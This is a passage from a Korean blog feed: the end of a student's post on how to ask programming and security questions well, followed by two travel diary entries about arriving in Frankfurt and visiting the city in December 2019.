&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&amp;nbsp; 우선, 선배나 교수님들의 &quot;구글링하면 다 나와.&quot; 또는 &quot;구글링해서 나오는거 질문하지 마&quot; 의 의미는 생각보다 그렇게 칼같지 않다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;전자의 경우는 사실이긴 하고(대부분 입문자의 질문은 스택 오버플로우에서 누군가가 이미 질문을 했을 것이다), 그럼 이제 알아볼 것은 후자. 사실 어떻게 보면 당연한게, 답변자 입장에서 질문자가 한 질문에 대한 답이 1초만에 1페이지 상단에 뜰 경우, 기분이 나빠지는 경우가 있다. &quot;겨우 이거 하기 귀찮아서 질문한건가?&quot; 같은 느낌으로.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&amp;nbsp; 그런데, 실제로 자기가 구글링을 했을 때에는 답이 나오지 않는 경우가 있었을 것이다. 이럴 경우에는 질문의 방법을 살짝 바꿔보면 서로가 더 편해질 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;C에서 받아온 인자값이 파일인지 디렉토리인지 확인하고 싶은데 어떤 키워드로 구글링을 해야 할까요?&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이렇게 &quot;키워드&quot; 에 대한 질문을 하면, 답변자도 시간을 많이 뺏기지 않고 질문자 또한 구글링을 하는 스킬을 키울 수 있다. 결국 구글링은 키워드를 어떻게 넣냐의 문제이기 때문에, 이런 식으로 자신이 고민하고 있는 부분에 대해 어떻게 하면 답을 찾을 수 있는지 키워드를 추출하는 센스를 키울 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;1. 질문을 할 때 기본으로 해야 할 사항&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이제 0번을 지나서, 단순히 키워드를 묻는 것으로 해결이 되지 않는 질문들이 있을 것이다. 간단하게 사례를 들어 생각해보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;A. 코드에 대한 질문&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;arr[5] += 'a'; 라고 썼는데 오류가 나요!&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이렇게 질문을 하면 답변자 입장에서는 어디가 문제인지를 알 수 없다. 게다가 오류가 났는데 오류문을 알려주지 않는다? 사막에서 바늘을 찾으라는 것과 같은 느낌이다. 컴파일러에서 오류를 알려주는 것은 정말 친절하게 고칠 수 있는 error인 것은 덤이고. 이런 경우 질문자가 질문 전에 해주어야 하는 것은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 오류에 대한 구글링을 진행한다 (대부분은 여기서 해결이 가능합니다)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 구글링을 하던 중, 어떤 문서의 일부분에 대해 이해하지 못한다면 문서 + 오류코드 + 본인의 코드 &lt;b&gt;전문&amp;nbsp;&lt;/b&gt;을 질문자에게 준다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;그런데 코드가 잘못되었을 때, 오류가 항상 보여지는 것은 아니다. 논리 에러라면 오류 없이 그냥 프로그램이 터지는 경우도 있으니까. 하지만 이럴 경우에도, 아래와 같이 질문을 하는 것은 추천하지 않는다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이름을 입력했는데 그 다음에 프로그램이 꺼져요!&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;입력 이후에 프로그램이 터질 수 있는 이유는 수도 없이 많다. 그 상황 뿐만 아니라, 그 상황을 일으키게 한 원인들을 같이 보여주어야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 코드 전문&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 터지는 부분의 캡쳐화면&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 자신이 어떤 값을 입력했을 때 오류가 났는지&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;사실 코드의 문제는 저학년때는 대부분 디버깅으로 해결할 수 있다. (고학년이 되어도 쌩으로 로우레벨 프로그램을 올린다거나 하는 환경이 아니면 디버깅에서 문제를 찾을 수 있다) 디버깅 얘기를 여기서 하긴 좀 길어지니까, 평소에 VS 같은걸 사용하면서 어떻게 디버깅을 할 수 있는지 익히는 것이 편할 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;B. 실습 등에 대한 질문&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이제 관련 툴 실습을 하다 보면 원하는대로 되지 않는 경우가 분명 생긴다. 익숙하지 않은 사람들은 설치부터 문제가 생깁니다. 난처하죠. 하지만 여러분이 어디서 듣지도 못한 새로운 툴을 가져오는게 아닌 이상, 어딘가에 설명한 문서는 분명히 존재합니다. 그런데도 질문을 하고 싶다면, 아래와 같이 하지는 맙시다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;와이어샤크로 실습을 해야 하는데 저는 예시의 부분이 잡히지 않아요!&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;어떤 예시를 하는지, 어떤 환경인지, 어떤 실습인지, 어떤 필터를 했는지, 적어도 캡쳐라도!&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;적어도 답변자가 질문자가 어떤 상황에 있는지 확인할 수 있을 정도의 충분한 정보를 줍시다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;2. 질문을 올리면서 지켜주면 좋을 부분&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;A. 가급적이면 퍼블릭한 채널으로!&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;정말 많은 사람들이 질문이 있는데 오픈카톡으로 와라, 아니면 개인톡으로 질문을 하거나, 아무튼 최대한 자신의 질문을 프라이빗하게 하려고 한다. 하지만 스택 오버플로우가 괜히 공개적으로 밝혀져 있는 것이 아니다. 질문자는&lt;b&gt; 자신의 질문에 부끄러워 할 필요가 없&lt;/b&gt;으며, 그에 대한 &lt;b&gt;답변을 혼자 독차지할 권리가 없다&lt;/b&gt;. 당장은 나 혼자 알고 있는 것이 좋겠다, 라고 생각할지도 모르겠지만 질문은 공개적으로 하여 나중에 같은 질문이 있는 사람이 찾아볼 수 있게 하는 것이 모두에게 좋다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;특히 에브리타임의 경우, 무슨 질문인지 말도 안하고 오픈카톡으로 오세요 라고 하는데 제발 하지 마라. 만약 그 질문이&lt;b&gt; 자신의 과제를 공개해야 하는 부분이라서 하는거라면 더더욱 하지 마라&lt;/b&gt;. 과제와 같은 사항은 그렇게 직접적으로 도움을 받아서는 안된다고 생각한다. 그냥 부끄러워서 그러는거라면, 에타 어차피 익명인데 대체 왜 그러는건지???&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;오픈카톡, 갠톡으로 오세요의 가장 큰 문제점은, &lt;b&gt;서로에게 비효율적&lt;/b&gt;이라는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 오픈카톡을 가는 것 자체가 귀찮음&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 어찌저찌 오카방을 들어가서 질문을 들었는데 답변자가 모르는 내용이다? 처음부터 리셋&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- 만약 답변자가 답을 틀렸을 때, 이를 수정해줄 사람이 없음.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;결론 : 가능하면 서로 도울 수 있게, 퍼블릭한 채널에서 질문을 합시다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;B. 질문해도 될까요? 하지 마세요&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;어차피 질문을 하러 간 사람한테, 질문해도 될까요? 라고 물으면 네 하고 답해주는 시간이 더 걸린다. 대면도 아니고, 온라인으로 물어보면 그 과정이 몇 분은 더 걸린다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;서로 시간 뺏지 말고, 바로바로 본론으로 들어갑시다. 이건 위에 첨부한 링크에서 다룬 내용이니 빠르게 생략.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;C. 질문하는 내용의 주체가 뭔지 밝히세요&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;이건 요즘 에타에서 많이 일어나는 문제라고 생각한다. 기껏 학우들이 질문한 사항을 도와줬는데, 까고 보니 그게 과제였다니. 솔직히 얼굴도 모르는 사람의 성적을 내가 올려준 꼴이 될 수도 있는 것이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span style=&quot;&quot;&gt;위에서도 말했듯이, 과제는 자신의 실력을 평가하는 매체이다. 이를 남의 도움을 직접적으로 받아 완성한다? 본인 스스로 그것이 정당한 방법이라 자신할 수 있는가?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span style=&quot;&quot;&gt;이런 문제를 예방하기 위해, 질문자는 최소한 &lt;b&gt;질문하는 내용이 어떤 것에서 나온 것인지 명시&lt;/b&gt;해야 한다고 생각한다. 개인 공부인지, 아님 단순한 개념 복습인지, 과제에 대한 질문인지.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span style=&quot;&quot;&gt;그리고 이건 개인적인 의견이지만, 답변자들은 과제에 대한 답을 해주는 것을 피했으면 좋겠다. 선한 마음으로 도와준 것이겠지만, 같은 수업을 듣는 다른 학우에게는 피해가 갈 수 있다고 생각한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;3. 질문을 올리기 전에 알면 좋을 부분&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;A. 디버깅&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;VS에서 디버깅을 통해 간단하게는 자신의 코드가 어떻게 동작하고 있는지, 변수들이 어떻게 변화하는지 등을, 깊게는 프로그램의 동작을 세부적으로 확인할 수 있다. 코드에서 발생하는 문제는 디버깅을 통해 내 프로그램이 어떻게 동작하는지 까보면서 원인을 찾고, 해석해볼 수 있다. 1학년이든 2학년이든 그 이상이든, 디버깅은 앞으로 프로그래밍을 할 때 필요한 것이라 생각한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;F5를 눌렀을 때 뜨는 무서운 창에 대해 겁을 먹지 말고, 어떻게 쓰는 것인지 차근차근 배워보면 좋을 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;B. 레퍼런스 및 공식 문서&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;&quot;&gt;각종 프로그래밍 언어들에 대한 설명서부터, 각 툴(프로그램)에 대한 공식 설명서는 거의 존재한다. 프로그래밍 언어에 대한 레퍼런스는 무조건 존재한다. 자신이 쓰는 함수가 어떤 건지 이해를 못하겠다면, 공식 문서 or 레퍼런스부터 찾아보자.&lt;/span&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZhyiI/btqFpBufOIU/cYwz8VkkJ2VYAGOVq8E4bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZhyiI/btqFpBufOIU/cYwz8VkkJ2VYAGOVq8E4bK/img.png&quot; data-alt=&quot;C언어의 printf 레퍼런스 검색 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZhyiI/btqFpBufOIU/cYwz8VkkJ2VYAGOVq8E4bK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZhyiI%2FbtqFpBufOIU%2FcYwz8VkkJ2VYAGOVq8E4bK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;C언어의 printf 레퍼런스 검색 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;실제로 저 안에 가보면, 함수의 원형, 각 파라미터에 대한 설명, 그리고 함수의 리턴 값, 친절한 곳은 이 함수의 용례를 보여준다. 이것만 읽어도, 함수 하나가 어떻게 동작하는지는 간략하게나마 이해할 수 있다. &quot;이 코드가 무슨 뜻인지 모르겠어요&quot; 를 묻기 전에, 각 함수가 어떤 역할을 하고 있는지 알아보고 다시 한번 코드를 읽어보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;C. 영어는 기본.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;그렇다고 토익을 막 900점을 넘으라는 말은 아닙니다. 단순하게 영어 원문 레퍼런스를 읽어서 해석할 수 있는 정도면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;&quot;&gt;기초적인 개념에 대한 자료는 한국어로도 많이 있지만, 아무래도 내 질문의 depth가 더 깊어질수록 한국어로는 나오지 않는 경우가 있다. 아무래도 영어권 사용자가 훨씬 많고, 프로그래밍 자체가 영어를 기반으로 이루어지기 때문에 영어로 서치하는 것이 한국어 서치보다 압도적일 수 밖에 없다.&lt;/span&gt;&lt;span style=&quot;&quot;&gt;개인적으로는, 결과가 나오지 않을 때만 영어를 쓰는 것보다 구글링할 때 항상 영어 키워드를 쓰는 것이 좋다고 생각한다. 어차피 한국어 결과가 나올 것은, 영어 키워드로 써도 알아서 나온다. 당장은 영어로 된 긴 글을 보기 어려울 수 있지만 읽다 보면 내가 해석해야 할 부분은 익숙해지고, 해석이 된다. 당장 내가 해결해야 하는 부분에 대한 답인데, 한국어인지 영어인지가 중요할까?&lt;/span&gt;&lt;span style=&quot;&quot;&gt;같은 관점에서, 툴들도 영어로 쓰면 오류 등을 서치하는데 도움이 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;&quot;&gt;결론&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style=&quot;&quot;&gt;솔직히 저는 개발 및 보안 분야에서 고인물이 아닙니다. 그냥 있는 학생1이에요. 그런데도 불구하고 제가 답변자로 있는 케이스가 많아졌고, 그에 따라서 요즘 느낀 점들을 한번 정리해보았습니다.&lt;/span&gt;&lt;span style=&quot;&quot;&gt;현재 질문을 많이 하는 입장에 계신 분들. 당장은 이 글을 읽으면 뭐가 저리 유난인지, 하기 싫으면 답을 안하고 넘어가면 되는 것이 아닌지 생각할 수도 있습니다. 하지만 그런 사람들이 많아지면 이 분야에서 자리잡힌 질문에 대한 에티켓이 무너진다고 생각해요. 구글링을 통해 볼 수 있는 모든 자료들은 질문자와 답변자가 서로의 에티켓을 지켜 만들어낸 자료입니다. 단순히 본인의 편함 하나를 위해, 이렇게 쌓인 수많은 것을 무너뜨리진 맙시다.&lt;/span&gt;&lt;span style=&quot;&quot;&gt;서로가 윈-윈이 될 수 있는 질문 문화(?) 가 이뤄지길 바랍니다:)&lt;/span&gt;&lt;/p&gt;</description>
      <category>잡담&amp;amp;계획</category>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/75</guid>
      <comments>https://pseudo-comsci.tistory.com/75#entry75comment</comments>
      <pubDate>Tue, 7 Jul 2020 00:25:51 +0900</pubDate>
    </item>
    <item>
      <title>19.12.22 프랑크푸르트 시내</title>
      <link>https://pseudo-comsci.tistory.com/73</link>
      <description>&lt;p&gt;19.12.22&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;호텔에서 하룻밤 자고, 눈을 떴을 때는 해가 뜨지 않은 상태였다. 아예 밤인 것도 아니었지만, 해가 뜨기 직전에 맑은 파란색의 하늘이 보였고 씻고 나왔을때는 해가 완전히 뜨고 나서 하늘이 흐릿해져버린게 조금 아쉬웠지만. 비는 오지 않았지만 이상하게 구름이 많이 껴서 하늘이 하늘색이 아닌 흐릿한 회색이었다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;원래라면 하이델베르크를 하루 가야했지만 딱 맞춰 숙소에서 도보 10분에 있는 슈타델 미술관에서 &quot;Finding Van Gogh&quot; 라는 전시회를 개최하고 있었다. 부모님이 반 고흐를 정말 좋아하시기에 하이델베르크를 포기하고 프랑크푸르트 시내에 하루를 소비하기로 했다. 슈타델 미술관이 11시 오픈이었고, 10시 40분쯤 갔는데도 앞에 티켓을 위한 줄이 서있었다. 잘못 찾은건지는 모르겠지만, 슈타델 미술관은 온라인으로 티켓을 구입할 시 배송옵션만 있었기 때문에 온라인 구입이 어려웠고 마저 줄을 기다리기로 했다. 다행히 티켓 오피스는 10시 50분쯤 열렸고 금방 표를 사서 들어갈 수 있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;나는 그림에 큰 관심이 없었기도 했고, 당장 해결해야 할 서류작업이 있어 두사람만 미술관에 보내고 근처 박물관에 딸린 카페에 가기로 했다. 정확히 11시에 오픈하는 카페였기에 오픈하고 첫 손님으로 카페에 들어갈 수 있었다. 직원분의 어설픈 영어와 나의 더 어설픈 영어로 대화한 결과 얻을 수 있었던 것은 이 카페는 셀프 서비스*였던 것과 유럽의 에스프레소는 진짜 에스프레소였다는 사실이었다. 안타깝게도 메뉴판은 전부 독어였고, 나는 독일어를 공부하다 때려치고 읽을 수만 있었기에 아이스 카라멜 에스프레소를 시켰는데 (한국의 카페에서 에스프레소라고 하면 대충 커피음료였던게 많았기에 카라멜마끼아또 같은 음료를 상상했음) 돌아온 것은 직원분의 정말 이상한 표정이었고, 메뉴가 나오고 나서야 내가 무슨 주문을 했던건지 깨달았다. 에스프레소에 아이스라니... 진짜 개소리였지.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;아침을 먹지 않은지라 크로아상을 같이 시켰는데 오픈이어서 그랬는지 정말 따뜻했고 맛있었다. 카라멜 에스프레소 또한 얼음컵에 담아서 먹으니 나쁘지 않았고, 1시간동안 작업을 하다보니 일행이 미술관에서 나왔다고 해서 카페를 나오게 되었다. 어찌저찌 트레이 반납까지 진행하고 첫 목적지를 떠나 고흐의 생가로 이동하게 되었다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;고흐의 생가는 GOETHE-HAUS 라는 아주 작은 간판이 달려있었는데, 언뜻 봐서는 이게 생가가 맞는건가? 할 정도로 도심속의 건물 사이에 끼어있었다. 들어가면 표를 팔고, 모든 가방은 락커에 집어넣고 들어가야 했다. 락커는 다행히 추후에 동전을 돌려주는 형식이었고. 생가 내부는&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;* 유럽의 카페는 대부분 서빙이 이루어집니다. 한국과 달리 셀프 서비스라고 적혀있어야만 고객이 카운터에서 직접 가져가는 시스템.&lt;/p&gt;</description>
      <category>잡담&amp;amp;계획/2019-동계 동유럽</category>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/73</guid>
      <comments>https://pseudo-comsci.tistory.com/73#entry73comment</comments>
      <pubDate>Wed, 8 Jan 2020 20:54:59 +0900</pubDate>
    </item>
    <item>
      <title>19.12.21 출국 &amp;amp; 프랑크푸르트 숙소</title>
      <link>https://pseudo-comsci.tistory.com/72</link>
      <description>&lt;p&gt;19.12.21 - 인천공항&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;비행기는 루프트한자, LH713기 탑승. 어쩌다보니 체크인을 잘 해서 타고 보니 레그룸 존재하는 이코노미였다. 713기 자체가 보잉747이라 컸고 (343) 레그룸도 넉넉하게 있었음. 다만 모니터가 아래에서 나오는게 좀 불편했었는데, 심지어 이착륙시에는 이 모니터를 집어넣으라고 해서 나중에는 모니터 안빼고 스위치로 시간을 때웠다. 모니터도 예전과 같은 리모컨식이 아닌 터치식으로 바뀌었는데 우선 2048(안드로이드의 그것 맞습니다)가 있었고 테트리스가 없다는게 정말 아쉬웠다. 장거리 비행기를 타면 항상 테트리스를 시작해서 마라톤 랭킹 1위를 찍는게 작은 취미..? 였는데 이게 사라졌으니까.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;한국 기준 14시 35분 비행기였는데 이륙한지 얼마 되지 않아 저녁이 주어졌다. 불고기에 밥메뉴를 받았는데 기본적으로 과일과 샐러드, 그리고 빵이 주어졌다. 김치도 있었고. 음료로는 스파클링 와인이 있어서 시켜봤는데 정말... 취향이 아니었다. 한참 가다가 5시간 남기고는 끌레도르 아이스크림을 제공해줬고, 착륙 2시간 남기고 아침 샌드위치를 받았다. 전반적으로 여행을 시작하는 비행이 정말 만족스러웠고, 프랑크푸르트 현지 시각 18시 반, 프랑크푸르트 공항에 도착했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;한국에서도 5시면 해가 지기 시작하고, 7시면 완전히 깜깜해지는 시간이라 일찍 해가 지는건 별 생각이 없었으나 저녁 6시 반인데도 한밤중인것 같은 어두움은 조금 아쉽긴 했다. 다행히 프랑크푸르트 공항은 프랑크푸르트 중앙역 (Frankfrut Hbf)과 지하철 10분정도의 거리에 존재했고, 1회권을 끊어 중앙역까지 이동했다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;프랑크푸르트 중앙역은 특유의 오래된 느낌과 유럽이구나, 싶은 건물이었다. 어두웠기에 불도 같이 들어왔고 건물 위쪽 중앙에 HAUPTBAHNHOF 라고 써있는 간판과 시계는 여행의 시작을 알려주는 것 같은 느낌을 주었다. 사진을 몇장 찍고, 더 구경을 하고 싶었지만 캐리어가 정말 무거웠기 때문에 바로 숙소로 걸어 들어갔다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
